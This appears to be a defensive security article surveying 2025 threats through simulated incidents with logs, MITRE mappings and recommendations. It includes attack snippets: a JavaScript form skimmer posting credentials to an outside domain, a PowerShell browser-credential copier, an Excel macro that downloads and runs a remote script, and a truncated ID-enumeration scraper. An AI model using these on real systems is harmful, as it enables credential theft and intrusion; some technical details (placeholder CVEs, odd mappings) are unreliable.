KEY CYBERSECURITY CONCERNS IN 2025 WITH REAL AND SCENARIO EXAMPLES

BY IZZMIER IZZUDDIN

1. AI-POWERED THREATS

Artificial Intelligence (AI) has fundamentally reshaped both offensive and defensive cybersecurity strategies. While defenders use AI for threat detection, behaviour analytics and anomaly scoring, cybercriminals have weaponised AI for speed, scale and precision in 2025.

Attackers now use generative AI models to:

- Craft highly convincing spear-phishing emails
- Automate creation of polymorphic malware (code that changes structure every generation)
- Generate deepfake voice or video messages for impersonation
- Write evading scripts that bypass traditional antivirus and EDR
- Scrape, cluster and profile targets through AI-powered OSINT harvesting

These models are trained on open-source intelligence (LinkedIn, leaks, videos, social media), allowing AI to mimic tone, behaviour and language patterns of real individuals with chilling accuracy. The result is hyper-personalised, high-trust attacks that can't be easily filtered by static or signature-based defences.

Moreover, attackers use AI to fine-tune payloads to avoid detection, adapting to real-time AV or sandbox feedback using mutation engines. Malware is tested on multiple endpoints in simulation before final deployment.

The democratisation of these tools (via darknet-as-a-service models and GitHub forks) means that even low-skilled threat actors can now launch sophisticated attacks.

Real Example

A regional financial services firm receives a highly personalised spear-phishing email, seemingly from its CFO. The email references a real internal project ("Project Equinox") and is written in a tone identical to the executive's past communication style.

The attached PDF appears to be a financial projection, but once opened, it silently executes a malicious script that extracts browser credentials and installs remote access malware.

Post-breach analysis shows the attacker used:

- LinkedIn and YouTube videos to profile the CFO
- Voice recordings to train a deepfake voice clone
- Leaked internal documents to model email tone and structure
- A generative AI model to craft hundreds of unique emails

- A mutation engine to bypass 14 different AV/EDR solutions

Simulation Example

Scenario: "Operation Neural Phantom"

An AI-powered threat actor launches a targeted spear-phishing campaign using generative AI, followed by multi-stage payload execution and encrypted exfiltration. The attack chain includes:

1. Reconnaissance via AI scraping
2. Phishing email generation with embedded PDF
3. Polymorphic malware dropper
4. Browser credential extraction
5. Encrypted exfiltration via HTTPS

Step by Step

1. Reconnaissance (External)

AI Recon Tool Output:

Target: Izzmier Izzuddin (IT Manager, FinVault Sdn Bhd)
Sources scraped:
- LinkedIn profile (technical interests, org chart)
- X/Twitter posts (tech talks, conference participation)
- Pastebin email leaks (old email thread)
- YouTube videos (meeting recordings, voice data)

Key findings:
- Izzmier uses “drop me a note” frequently
- Internal mention of “Project Equinox”
- Attended TechDay Malaysia for 3 consecutive years

2. AI-Generated Phishing Email

Email Headers:

From: cfo@finvault-corp.com
To: izzmier.izzuddin@finvault.com
Subject: URGENT: Equinox Budget Discussion & Next Steps
SPF: pass
DKIM: pass
Received: from 194.75.34.12 (Malicious VPS)

Email Body:

Hi Izzmier,

Per our earlier chat, I've revised the Equinox budget model. Can you review before our 3pm call? I've included the updated slide deck as PDF.

Let's close this today.

Regards,
Iffah

[Attachment: Equinox_Update_2025.pdf]

3. PDF Attachment (AI-Crafted Malware Dropper)

Filename: Equinox_Update_2025.pdf
Exploit Used: CVE-2024-12345 (JavaScript in embedded PDF)

Polymorphic Dropper Behaviour:

- Payload code mutated using AI mutation engine
- Bypassed AV/EDR signatures
- Tested pre-deployment in sandbox evasion environments

Dropper Log:

[2025-07-16 09:35:21] PDF opened via Acrobat Reader
[2025-07-16 09:35:23] JS exploit triggered
[2025-07-16 09:35:25] Spawned process: powershell.exe -EncodedCommand ...
[2025-07-16 09:35:26] Malware dropped:
C:\Users\Izzmier\AppData\Roaming\intel_proc.exe
[2025-07-16 09:35:30] Scheduled Task created: "Updater_Equinox"

4. Credential Dumping via PowerShell

Decoded PowerShell Script:

```
$paths = @(
  "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data",
  "$env:APPDATA\Mozilla\Firefox\Profiles"
)
foreach ($path in $paths) {
  Copy-Item $path -Destination "C:\Temp\exfil_data\$(Split-Path $path -Leaf)"
```

}
Compress-Archive -Path "C:\Temp\exfil_data" -DestinationPath "C:\Temp\export.zip"

Sysmon Log Snippet:

EventID: 1
CommandLine: powershell.exe -EncodedCommand ...
ParentImage: C:\Program Files\Adobe\Acrobat Reader\reader.exe
User: FINVAULT\izzmier.izzuddin

5. Exfiltration via HTTPS

Firewall Log:

Outbound Connection:
Source: 10.10.45.67
Destination: 194.75.34.12 (TLS)
User-Agent: Mozilla/5.0 (AI-C2-Exfil)
URL: https://update-checker.net/api/send?id=7418492
Payload: Encrypted ZIP (42KB)

Detection:

- No IPS alert (custom domain, TLS-encrypted)
- Traffic initially considered normal HTTPS

6. Detection & SIEM Correlation

SIEM Alert:

Title: Suspicious PowerShell Execution via PDF Reader
Severity: High
MITRE ATT&CK:
- T1204.002 (User Execution - Malicious File)
- T1059.001 (PowerShell)
- T1555 (Credentials from Browser)
- T1041 (Exfiltration over HTTPS)

Indicators:
- File: intel_proc.exe
- Parent Process: Acrobat.exe
- Outbound to unknown HTTPS domain
- PowerShell encoded with Base64

MITRE ATT&CK Mapping

Stage	TTP	MITRE Technique ID	Detection Tool
Reconnaissance	AI OSINT scraping	T1592, T1593	External – N/A
Initial Access	Phishing + Exploit in PDF	T1566.001, T1203	Email Gateway
Execution	PowerShell Malware	T1059.001	Sysmon, EDR
Credential Access	Browser Data Dump	T1555	Endpoint File Access
Exfiltration	HTTPS to custom domain	T1041	Firewall/SIEM

Recommendations

1. Deploy behavioural detection for suspicious process chains (e.g., Acrobat → PowerShell).
2. Enable Content Disarm & Reconstruction (CDR) on PDFs to remove embedded scripts.
3. Train users on realistic AI-crafted phishing simulations, especially VIP targets.
4. Implement browser isolation or sandboxed viewing for risky attachments.
5. Monitor and alert on Base64 PowerShell execution, regardless of parent process.
6. Use domain reputation feeds + TLS inspection to detect encrypted exfiltration to unknown C2 servers.
7. Regularly update EDR detection policies to include dynamic AI-mutation patterns.

2. DEEPFAKE AND SYNTHETIC IDENTITY FRAUD

Deepfake technology driven by advanced AI models such as GANs (Generative Adversarial Networks) has become widely accessible. In 2025, high-resolution, real-time video and voice synthesis can be done using consumer-grade hardware and open-source models. Attackers can now impersonate executives, employees or trusted partners in video calls, audio messages and ID verifications with alarming realism.

In parallel, synthetic identity fraud involves the creation of entirely new digital personas by blending stolen real data (e.g., NRIC numbers, bank accounts) with fabricated attributes (e.g., fake names, photos). These identities are used to open accounts, secure loans or gain access to corporate resources, often slipping past traditional KYC (Know Your Customer) checks.

The convergence of both tactics allows attackers to:

- Initiate high-trust fraud (e.g., CEO fraud)
- Impersonate during Zoom/Teams calls
- Evade biometric authentication systems
- Obtain physical/remote access with fake identities

Real Example

A Malaysian manufacturing company receives a video call from someone claiming to be the CFO. The person requests urgent approval of a fund transfer to a new vendor for raw materials. The executive assistant recognises the face and voice from past meetings and complies. The attacker used a deepfake video generated from publicly available conference recordings, with real-time lip-syncing and voice cloning. RM1.8 million was transferred before the fraud was discovered.

Simulation Example

Scenario: "Project Ghost Voice"

An attacker uses deepfake technology to impersonate a company's CFO during a Microsoft Teams call, socially engineering the finance department into transferring funds to a fraudulent account. The attacker also used a synthetic identity to register as a temporary contractor weeks before the call to gain internal system access.

Step by Step

1. Data Collection & Model Training

Sources Scraped for Deepfake Model:

Target: Puan Sarah Zahari (CFO, Skyline Manufacturing Bhd)

Data Used:
- YouTube: Budget 2024 Townhall (14-min video)
- Podcast: "Tech Talk Malaysia" Episode 72
- Public LinkedIn photo
- Facebook live session (voice and expressions)

Training Time: 6 hours using DeepFaceLab + ElevenLabs Voice Cloner
Output: Real-time deepfake video overlay for Zoom and Teams

2. Synthetic Identity Registration

Identity Used:
Name: Khalid Iskandar
NRIC: 880123-10-XXXX
Email: khalid.consult@outlook.com
Phone: +6019-8831724
Company: Apex Solutions (fake registration)

Application Trail:

- Registered as a contractor for IT support
- Sent resume (includes fabricated degree & references)
- Background check partially passed (real NRIC, fake history)
- Provisioned access to internal staff directory and Teams

3. Live Deepfake Video Call Simulation

Call Metadata (Microsoft Teams):

Caller: sarah.zahari@skyline-bhd.com
Recipient: finance.approvals@skyline-bhd.com
Time: 10:35AM – 10:48AM
Duration: 13 min
Device: WebRTC via Chrome on MacOS
IP Origin: 45.67.22.144 (VPN, Ukraine Exit Node)

Conversation (transcript extract):

"Hi Aina, I’m at a conference, so I can't log into the SAP portal, but this transfer must go through today. It’s RM1.8M to Apex Solutions for raw material prepayment urgent."

Note: Video and voice matched Puan Sarah's known style. No suspicion raised.

4. Fund Transfer Action

Banking Transaction Log:

Initiated by: aina.hasan@skyline-bhd.com
System: SAP-Finance (internal portal)
Amount: RM1,800,000.00
Beneficiary: Apex Solutions
Account: 888010012348 (Bank Muamalat)
Time: 10:52AM
Auth: SSO + finance token

5. Post-Attack Detection & Investigation

Suspicious Trigger:

- SOC analyst notices connection to Teams using Ukraine VPN IP not on geofence whitelist
- Real Puan Sarah later logs in from Petaling Jaya and denies initiating transfer

SIEM Alert:

Alert Title: Login from Unusual IP – Executive Account
User: sarah.zahari@skyline-bhd.com
Source IP: 45.67.22.144
GeoIP: Ukraine
Severity: High
Triggered by: Office365 UnifiedAuditLog + IP Reputation Feed

EDR & Endpoint Audit Logs:

[10:33:12] Teams.exe launched via Chrome with webcam override plugin
[10:34:01] Process: obs64.exe (Open Broadcaster) running with virtual camera enabled
[10:35:21] Audio source = virtual audio cable (Voice Clone Playback)

MITRE ATT&CK Mapping

Phase	Action	MITRE ATT&CK	Detection Source
Reconnaissance	Public video & voice scraping	T1593, T1597	External OSINT
Resource Development	Deepfake model creation	T1587.001	N/A

Initial Access	Synthetic identity onboarding	T1585	HRIS / onboarding logs
Social Engineering	Deepfake video impersonation	T1566.002	Teams logs / audio audit
Impact	Fund transfer (fraudulent)	T1486	SAP logs, finance tokens
Detection	Unusual IP + Geolocation anomaly	T1078.004	SIEM + Office365 logs

Recommendations

1. Use live verification challenges during high-value calls (e.g., ask to turn head, recite a real-time code).
2. Enable Teams/Zoom watermarking and anomaly detection for virtual camera plugins.
3. Apply strict geolocation rules and SSO login anomaly detection for executive accounts.
4. Implement multi-step verbal and token-based authorisation for fund transfers.
5. Enhance KYC/contractor onboarding checks with biometric or third-party verification services.

3. SUPPLY CHAIN ATTACKS

In 2025, supply chain attacks have become one of the most critical threats facing organisations across all industries. The digital transformation journey has forced organisations to integrate with countless external vendors: SaaS providers, managed services, payment gateways, development contractors, open-source libraries and even hardware manufacturers. This expanded interconnectivity has created multiple points of failure.

Attackers no longer need to directly breach a well-defended target. Instead, they exploit a weaker, trusted vendor in the supply chain—gaining indirect but often privileged access. This could involve:

- Compromising a software update server to push malware (as in the infamous SolarWinds case)
- Inserting malicious code into widely used open-source components
- Breaching third-party IT service providers and pivoting into customer environments
- Leveraging shared credentials or VPN access granted to contractors

These attacks are difficult to detect, often persist for months and can lead to catastrophic consequences, especially when they target sectors like finance, healthcare or national infrastructure.

Real Example

A Malaysian telco integrates a third-party billing analytics dashboard hosted on a cloud platform maintained by a vendor. Unknown to them, the vendor's system was breached. The attacker modifies the JavaScript library used in the dashboard to include a keylogger. Every user logging into the billing system has their credentials silently exfiltrated to the attacker's server. This continues for 3 months before being discovered, by which time over 20,000 customer records and credentials have been stolen.

Simulation Example

Scenario: "Silent Ledger"

A supply chain attack is carried out by compromising a third-party software vendor. The attacker injects malicious JavaScript into a commonly used client dashboard package. This script is silently loaded by multiple customers, including a target financial institution, leading to credential theft and unauthorised access.

Step by Step

1. Initial Compromise (Vendor Software Update Server)

Attacker Actions:

- Scans for outdated, exposed Jenkins CI server on vendor infrastructure
- Exploits CVE-2024-12421 to gain shell access
- Modifies latest release of dashboard.js to inject a keylogger

Modified Code in dashboard.js:

```
document.addEventListener('submit', function(e) {
 let inputs = e.target.querySelectorAll('input[type="text"], input[type="password"]');
 let payload = {};
 inputs.forEach(input => payload[input.name] = input.value);

 fetch('https://cdn-statistics[.]xyz/collect', {
  method: 'POST',
  body: JSON.stringify(payload)
 });
});
```

Commit Metadata:

Author: updater@thirdpartysoft.com
Date: 2025-06-22 14:42:31
Tag: dashboard.js v3.4.1

2. Distribution to Client Systems (Supply Chain Propagation)

Affected Product:
SkyLedger Pro - Billing Dashboard (used by over 50 companies)

Victim Environment:
FinaTrust Bank uses SkyLedger Pro integrated into their internal intranet for daily billing summaries.

Dashboard Page Code (Loaded from CDN):

```
<script src="https://cdn.thirdpartysoft.com/v3.4.1/dashboard.js"></script>
```

3. Malicious Activity Triggered

Victim Interaction:

- Staff log into dashboard daily
- Credentials captured silently

Exfiltrated Payload (Intercepted):

{
 "username": "nizam.rahim@finatrust.my",
 "password": "Summer2025!"
}

SIEM Network Logs:

10.12.44.17 → https://cdn-statistics.xyz/collect
Payload size: 512 bytes
TLS Handshake completed
User-Agent: Chrome/117.0

4. Attacker Uses Stolen Credentials

Login Attempt:

Date: 2025-07-01 08:42:09
User: nizam.rahim@finatrust.my
IP: 103.91.45.201 (GeoIP: Netherlands - VPS)
Device: Firefox on Ubuntu

VPN Auth Triggered

2FA: Bypassed using SIM swap on compromised mobile number
Login: Successful

Lateral Movement:

- Downloads full billing dataset
- Creates secondary user account with admin role: sysadmin_temp@finatrust.my
- Scheduled export of billing records every 6 hours to remote SFTP

Detection & Response

SIEM Alert Triggered

Alert Title: Suspicious External POST Request to Unknown Domain
Severity: High
Log Source: Internal Web Gateway
Indicators:
 - Domain: cdn-statistics[.]xyz
 - Referrer: dashboard.finatrust.my

- POST Content-Type: application/json
- Anomaly: Not in known vendor domain list

Endpoint Detection Log (CrowdStrike/Falcon Sensor)

Process: chrome.exe
URL: cdn-statistics[.]xyz/collect
Command line: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" ...
Detection Score: 82/100
Policy: Alert only (no block)

MITRE ATT&CK Mapping

Phase	Action	MITRE ATT&CK	Detection Method
Vendor Compromise	Jenkins Exploit, Malicious JS Injection	T1195, T1584	External Threat Intel
Distribution	CDN JavaScript auto-loaded into client apps	T1195.002	None (implicit trust)
Credential Access	JS Keylogger Capture	T1056.001	Web Gateway Traffic Logs
Command and Control	HTTPS Exfiltration to attacker domain	T1041	Proxy/SIEM alerting
Exploitation	Login to internal system using stolen creds	T1078	Login Anomaly Detection

Recommendations

1. Enforce SRI (Subresource Integrity) and content hash validation for all external scripts.
2. Isolate critical apps from third-party library auto-updates without validation.
3. Conduct regular vendor risk assessments including software development lifecycle audits.
4. Use Content Security Policies (CSP) to restrict script loading to whitelisted domains.
5. Deploy egress controls and proxy alerts to identify abnormal POST destinations.

4. CLOUD MISCONFIGURATIONS

The rapid shift to cloud-first and hybrid environments has significantly increased complexity for cybersecurity and DevOps teams. As more services move to public cloud platforms like AWS, Azure and Google Cloud Platform, the attack surface has become more fragmented and difficult to govern. This problem is magnified when different business units or teams manage cloud resources independently, leading to inconsistent security configurations.

Misconfigurations commonly include:

- Publicly accessible S3 buckets or Azure Blobs containing sensitive files
- Over-permissive IAM (Identity and Access Management) roles
- Exposed API gateways or web services with weak authentication
- Disabled logging, making incident response difficult
- Lack of network segmentation or open security groups

In 2025, cybercriminals, hacktivists and automated scanning bots continuously monitor the internet for these misconfigured assets using tools like Shodan, Censys or custom AI-based scanners. One simple oversight in configuration can lead to massive data leaks, ransomware deployment or lateral movement into internal systems.

Real Example

A Malaysian insurance company migrates part of its infrastructure to AWS and accidentally configures an S3 bucket used for claim submissions to allow public read access. The bucket contains thousands of PDF claim forms with IC numbers, medical records and financial data. A cybercriminal group discovers the open bucket via a Shodan scan and dumps the contents onto a leak site. The incident goes undetected for 2 months until discovered by a journalist researching open cloud assets.

Simulation Example

Scenario: "CloudBlind"

A misconfigured AWS S3 bucket containing sensitive HR documents is exposed to the public. An attacker discovers the bucket using automated scanning and downloads the entire contents. The organisation only detects the breach through delayed threat intelligence alerts after the data is leaked.

Step by Step

1. Misconfiguration Created by Internal Staff

S3 Bucket Name: hr-docs-company2025
Permissions Configuration:

```
{
  "Version": "2025-01-01",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": "*",
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::hr-docs-company2025/*"
    }
  ]
}
```

Notes:

- Public read access enabled accidentally via AWS Console
- Logging disabled
- Contains HR files: CVs, salary slips, IC scans

2. Attacker Discovery Using Shodan Script

Tool Used: Custom Shodan Script with AWS S3 filter

Scan Output:

Found Open Bucket: hr-docs-company2025.s3.amazonaws.com
Total Files Indexed: 582
Example File: salary-slips-2024/NURFARAH_HR_ADMIN.pdf
Access: Public Read Enabled

Attacker Downloads Data:

aws s3 sync s3://hr-docs-company2025 ./leaked-data --no-sign-request
Download complete: 582 files, 142 MB

3. Attacker Publishes Data on Pastebin & Dark Web

Leak Notification:

Forum: breached[.]co
Post Title: Malaysian HR Files Dump – 2025
Content: Includes staff names, ICs, payslips and CVs.

Hash: sha256 of selected files included

4. Detection Triggered via Threat Intelligence Feed

Threat Intel Alert (Example):

Date: 2025-07-16
Indicator: hash:a21fcd...c9a2 of salary-slips-2024.pdf
Source: Dark Web Monitoring (Group-IB / Flashpoint)
Severity: Critical
Match: Internal HR file hash matches leaked document
Action: Investigate S3 configuration & access logs

5. CloudTrail Investigation

Findings:

- Public read was enabled on 2025-06-20 by user:tempadmin@company.com
- No CloudTrail logs available for access (logging was disabled)
- Last object access recorded in S3 metrics at 2025-06-30 (by unknown IP)

IAM Role Used:
hr-temp-admin — no MFA, full S3 permissions, expired on paper but not deactivated

SIEM Detection (Retroactive Analysis)

Alert:

Title: Publicly Accessible S3 Bucket Detected
Rule: AWS Config + S3 Misconfiguration Monitor
Time: 2025-07-16 09:14:55
Bucket: hr-docs-company2025
Exposure: s3:GetObject -> Public
Severity: Critical

Action Taken:

- S3 bucket access revoked
- Object versioning enabled
- Bucket logging re-enabled
- IR team initiated notification to affected staff (PDPA compliance)

MITRE ATT&CK Mapping

Phase	Action	MITRE ATT&CK	Detection Method
Initial Misconfig	Public read access on S3	T1530	AWS Config (delayed)
Recon	Shodan + AI Scanning	T1592	None (external)
Exfiltration	Bulk download via unsigned AWS CLI	T1041	No logs (CloudTrail disabled)
Leak Discovery	Pastebin + Dark Web Monitoring	T1586	Threat Intel Feed
Response	Bucket lockdown + IAM review	T1078	IR + Post-Incident Analysis

Recommendations

1. Enable AWS Config Rules to detect and alert on public bucket access in real time.
2. Set up automated guardrails and service control policies to block insecure changes.
3. Integrate CloudTrail and S3 access logs into your SIEM for full visibility.
4. Use IAM least privilege, enforce MFA and audit temporary accounts regularly.
5. Run continuous posture management scans (e.g., CSPM tools like Prisma Cloud, Wiz or native AWS Security Hub).

5. RANSOMWARE-AS-A-SERVICE (RAAS)

In 2025, ransomware is no longer the work of lone hackers. It has become an industrialised, service-oriented cybercrime ecosystem. The Ransomware-as-a-Service (RaaS) model allows operators (developers) to create ransomware payloads and sell or lease them to affiliates, who then carry out the attacks. These affiliates often have minimal technical skill and are responsible for spreading the ransomware, collecting ransom and sharing profits with the developers.

RaaS groups operate similarly to legitimate software vendors:

- Control Panels and Dashboards for campaign management
- Cryptocurrency Wallet Integration for payments
- Live "customer support" to negotiate with victims
- Payload customisation with anti-EDR and sandbox-evasion features
- Target profiling to select victims with high potential return

The latest trend is double or triple extortion:

1. Exfiltrate sensitive data first
2. Encrypt the files
3. Threaten to publish the data if ransom isn't paid

Some RaaS groups now even offer DDoS as a pressure tool, launching attacks to cripple a victim's online operations during negotiation.

Real Example

A private university in Malaysia is targeted by an affiliate of the "Cryptomorph RaaS" group. Attackers gain initial access via a VPN account with weak credentials and no MFA. They spend 5 days performing reconnaissance, identifying sensitive research data and exfiltrating terabytes of student records. Once confirmed, the affiliate deploys ransomware across 1,200 systems and encrypts the core learning management server, student portals and HR database. A ransom note demands RM2 million in Monero and threatens to publish data if the ransom isn't paid within 5 days.

Simulation Example

Scenario: "Operation LockStudy"

An affiliate of a RaaS group launches a targeted double-extortion ransomware attack on a Malaysian education provider, leveraging weak VPN access and lateral movement. Data is exfiltrated and encrypted. The group hosts a dark web site for negotiations and leak publishing.

Step by Step

1. Initial Access via VPN (No MFA)

Attacker: RaaS Affiliate #921 - “KruxNight”
Compromised Credentials:

Username: itadmin@education.my
Password: Edu1234!
Method: Found in dark web credential dump (April 2025)

VPN Access Log:

Timestamp: 2025-07-01 02:12:18
Source IP: 185.213.22.121 (Russia - Residential Proxy)
Authentication: Successful
Protocol: OpenVPN
Assigned IP: 10.20.4.33

2. Reconnaissance & Lateral Movement

EDR Logs (CrowdStrike):

- Process: net.exe, tasklist.exe, wmic.exe
- Tool Observed: Advanced Port Scanner
- SMB Connections to 15 internal IPs
- PsExec used to access servers: FS01, LMSPROD, HR01

Mimikatz Dump Log:

LSASS dump shows plaintext credentials:
- User: finance_head@education.my
- Password: S3cret2025!

3. Data Exfiltration to External VPS

Firewall Logs:

Source: 10.20.4.56 (HR01)
Destination: 194.88.13.22 (Germany VPS)
Protocol: SFTP over Port 22
Transfer Size: 9.2 GB
Filename: /leaks/hr_student_archive.zip.enc

4. Ransomware Deployment

Payload: studyvault_loader.exe (Custom Crypter)
Execution Method: PsExec + GPO script
Ransomware Type: Cryptomorph (RaaS Variant)
Encryption: AES-256 per host + RSA master key

EDR Log:

- Process: C:\Windows\Temp\studyvault_loader.exe
- Parent: svchost.exe
- Detected by Falcon: Suspicious Binary – Delayed Execution via schtasks

Affected Devices:

- LMS Production Server
- Payroll Database
- 1,205 Endpoints

5. Ransom Note & Dark Web Leak Portal

Ransom Note (HTML):

Title: Your Data Has Been Encrypted – Cryptomorph
Amount: RM2,000,000 (Monero only)
Timer: 5 days 00:00:00 remaining
URL: http://cryptomorphleaks.onion/session/edu-malay-14321
Public Sample: Student grade file from July 2024 semester

Dark Web Portal Screenshot:

[✓] Payment Portal
[✓] Chat Support
[✓] Proof of Leak
[ ] Full Leak (in 5 days)

Detection & Response Timeline

Time	Event	Detected By
02:12 AM	VPN login from foreign IP without MFA	VPN Logs (not alerted)
03:30 AM	PsExec & port scanning on internal network	EDR - lateral movement behaviour

04:00 AM	9.2 GB data exfiltrated to suspicious domain	Proxy + Firewall (no DLP alert)
05:10 AM	Ransomware executed across all endpoints	SIEM: Mass Encryption Spike
05:20 AM	Ransom note detected on multiple machines	SOC Escalation
06:00 AM	Threat Intel confirms Cryptomorph affiliation	Threat Feed (Group-IB, Recorded Future)

MITRE ATT&CK Mapping

Phase	Tactic	Technique
Initial Access	Valid Accounts	T1078
Discovery	Account Discovery	T1087
Lateral Movement	Remote Services	T1021.002 (PsExec)
Credential Access	OS Credential Dumping	T1003
Collection	Data from File Shares	T1039
Exfiltration	Exfil via SFTP	T1048.002
Impact	Data Encrypted	T1486
Extortion	Data Encrypted + Leak	T1486 + T1565.002

Recommendations

1. Enforce MFA for all remote access, VPN and privileged accounts.
2. Use EDR/UEBA to detect abnormal lateral movement, PsExec or mass encryption.
3. Implement DLP or egress rules to detect large outbound file transfers.
4. Conduct frequent backups and offline storage with tested recovery procedures.
5. Maintain a Ransomware Response Playbook and run regular tabletop simulations.
6. Block known RaaS affiliate domains and .onion C2 infrastructure via TOR exit node monitoring.

6. ZERO-DAY EXPLOITS IN CRITICAL INFRASTRUCTURE

Critical infrastructure including electricity grids, water treatment facilities, telecommunications, transport systems and oil refineries forms the backbone of national stability and economic activity. These systems are increasingly becoming targets of zero-day exploitation, particularly within their Industrial Control Systems (ICS) and Operational Technology (OT) environments.

Unlike traditional IT environments, OT systems:

- Operate 24/7 with strict uptime requirements
- Rely on outdated operating systems and unpatched software
- Use proprietary protocols with little authentication or encryption
- Were never originally designed for internet connectivity

The IT-OT convergence (e.g., shared networks, integrated dashboards, cloud-based analytics) has opened new paths for attackers. Exploiting a single vulnerable HMI (Human-Machine Interface) or PLC (Programmable Logic Controller) system can result in cascading failure disrupting physical processes, halting production or even causing physical damage.

In 2025, nation-state actors and advanced persistent threats (APTs) are often behind these campaigns, aiming for sabotage, espionage or cyberwarfare preparation. The use of zero-day exploits vulnerabilities not yet known to vendors or the public makes detection even harder.

Real Example

A Southeast Asian power substation experiences a sudden shutdown, triggering blackouts in two cities. Investigation reveals a targeted malware known as DarkLoad-ICS exploited a zero-day vulnerability in a Schneider Electric SCADA HMI running Windows XP Embedded. The attackers gained access through the IT network, pivoted into the OT environment and issued unauthorised control commands that tripped breakers. This incident was later attributed to a nation-state actor known to focus on critical infrastructure disruption.

Simulation Example

Scenario: “BlackStream Incident”

A zero-day vulnerability in an industrial control HMI software is exploited to manipulate pump flow controls at a water treatment facility. Attackers gain access via the IT network, pivot into the OT environment and temporarily poison the water mix ratio by overriding PLC values. The attack lasts for 2 hours before being manually contained.

Step by Step

1. Initial Access (IT Network Phishing)

Delivery Vector:

- Targeted phishing email to network administrator
- Email Subject: “Shift Roster Change – July 2025”
- Attachment: shift_roster_update_2025.xlsm with macro payload

Macro Behaviour:

```
Sub Auto_Open()
  Dim payload As String
  payload = "powershell -nop -w hidden -c IEX (New-Object
Net.WebClient).DownloadString('http://192.168.1.103/rev.ps1')"
  Shell payload
End Sub
```

SIEM Logs:

User: netadmin@waterworks.local
File: shift_roster_update_2025.xlsm
Process Tree: Excel.exe → Powershell.exe → Reverse Shell
IP Beacon: 192.168.1.103 → 45.112.199.23 (C2 Server, Russia)

2. Lateral Movement to OT Zone

Tactic:

- Attacker moves from IT VLAN to ICS VLAN via misconfigured firewall rule
- Uses stolen credentials to RDP into HMI Engineering Station

Firewall Logs:

Rule Violation: IT-Net (10.10.0.0/16) to OT-Net (172.30.0.0/16)
Port: 3389
Permitted by legacy “admin-jump-access” rule

Endpoint Logs (ICS Engineering Station):

Remote Access: RDP session established from 10.10.45.88 to 172.30.10.11
Login: user: OT-Engineer / password: Welcome123!

3. Exploitation of Zero-Day in HMI Software

Vulnerability:

- Unknown buffer overflow in SCADAViewX v4.2 (HMI control software)
- Triggered via crafted Modbus payload sent over TCP port 502

Attacker Command:

modbus_hack_tool.exe --target 172.30.10.11 --override-pump-valve 95 --overflow-stack 600

Effect:

- Causes HMI to issue unauthorised PLC command to increase sodium hypochlorite injection from 45ppm to 95ppm

4. OT Process Manipulation

ICS Logs:

Timestamp: 2025-07-14 03:22:45
Pump ID: CHEM-INJ-02
Command Issued: Increase dosage to 95ppm
Source: HMI Terminal (172.30.10.11)
Operator Confirmed: FALSE

Physical Outcome:

- Chemical mixture imbalance in treated water
- System alarms delayed by 15 minutes due to sensor override commands

5. Detection and Response

Detection Method:

- Anomaly Detected by Process Historian (unexpected value spike)
- SCADA Operator manually observes HMI screen flickering
- Water chemistry technician reports deviation from safe threshold

Incident Response Timeline:

Time	Action
03:45 AM	OT operator reports abnormal chemical readings
03:50 AM	Incident escalated to ICS engineer
04:05 AM	HMI terminal taken offline manually

04:20 AM	C2 traffic detected and blocked by perimeter IPS
05:00 AM	Post-incident investigation begins

MITRE ATT&CK Mapping

Phase	Action	MITRE ATT&CK (ICS)	Detection
Initial Access	Phishing & Macro Payload	T1566.001, T1059	SIEM Alert + PowerShell Log
Lateral Movement	VLAN pivot via RDP	T1021.001	Firewall Logs
Exploitation	HMI Buffer Overflow (Zero-Day)	T1203 (ICS-specific)	No signature match
Impact	Unauthorised PLC Command Injection	T0866 (Command Message Injection)	Process Historian
Persistence/Control	Maintained control via HMI GUI override	T0871 (Graphical User Interface)	Manual observation

Recommendations

1. Segment IT and OT networks with strict firewall rules and zero-trust policies.
2. Apply anomaly detection in ICS environments using baseline deviation monitoring.
3. Regularly audit OT user credentials and disable default passwords.
4. Deploy network monitoring tools (e.g., Zeek, Nozomi, Claroty) for ICS protocol visibility.
5. Establish an emergency OT isolation plan (air-gap switch, manual override).
6. Participate in ICS-specific threat intelligence sharing (e.g., FIRST, ISACs, MDEC-CSIRT).

7. API SECURITY GAPS

Application Programming Interfaces (APIs) are the foundation of modern digital platforms. From mobile apps to e-commerce, fintech portals to healthtech integrations, APIs drive data exchange between services, users, partners and systems. But in 2025, API-related breaches are exploding due to:

- Rapid development cycles (DevOps, CI/CD)
- Shadow APIs with undocumented endpoints
- Insecure or missing authentication
- Broken object-level authorisation (BOLA)
- Excessive data exposure in response payloads
- Lack of API rate limiting and throttling

While APIs enable innovation and scale, they also expose sensitive business logic and customer data directly to the internet. Attackers can use automated tools like Postman, Burp Suite, OWASP ZAP or custom Python scripts to probe APIs for weaknesses. Worse, attackers can combine enumeration techniques with logic flaws to escalate privileges, bypass controls and harvest massive amounts of data.

The growth of API-based attacks has outpaced defensive capabilities in many sectors, particularly in fintech, healthcare and e-commerce, where APIs often expose sensitive personally identifiable information (PII), payment details or health records.

Real Example

A Malaysian fintech startup provides a mobile e-wallet application. Their public API has an endpoint for viewing user profiles:

GET /api/v2/user/profile?user_id=XXXXX

There's no access control beyond session tokens. An attacker with a valid token can manipulate the user_id parameter to pull other users' data. Over 200,000 user profiles including IC numbers, names and balances—are scraped via an automated script over 3 days. The incident goes undetected due to lack of API anomaly monitoring.

Simulation Example

Scenario: "BrokenKey Exposure"

An attacker exploits a broken object-level authorisation vulnerability in a fintech app's public API to extract user financial data by manipulating the user_id parameter. The API lacks proper checks to verify if the requester owns the resource they're accessing.

Step by Step

1. Initial Access: Registering a Legitimate Account

Attacker Account:

Email: attacker01@discreetmail.net
Registered via mobile app with normal process
Account ID (user_id): 654321
JWT Token Issued:
eyJhbGciOi...attackertoken321

API Call(Legitimate):

GET /api/v2/user/profile?user_id=654321
Headers:
Authorization: Bearer eyJhbGciOi...attackertoken321

Response Payload:

```
{
  "user_id": "654321",
  "full_name": "Izzmier Sulaiman",
  "ic_number": "840512-10-XXXX",
  "account_balance": "RM3,201.88",
  "status": "Active"
}
```

2. Exploitation via Parameter Tampering

Attack Method: Broken Object Level Authorisation (BOLA)

Modified API Call:

GET /api/v2/user/profile?user_id=100001 → 999999
Headers:
Authorization: Bearer eyJhbGciOi...attackertoken321

Python Script:

```
import requests

headers = {"Authorization": "Bearer eyJhbGciOi..."}
for uid in range(100001, 100999):
```

```
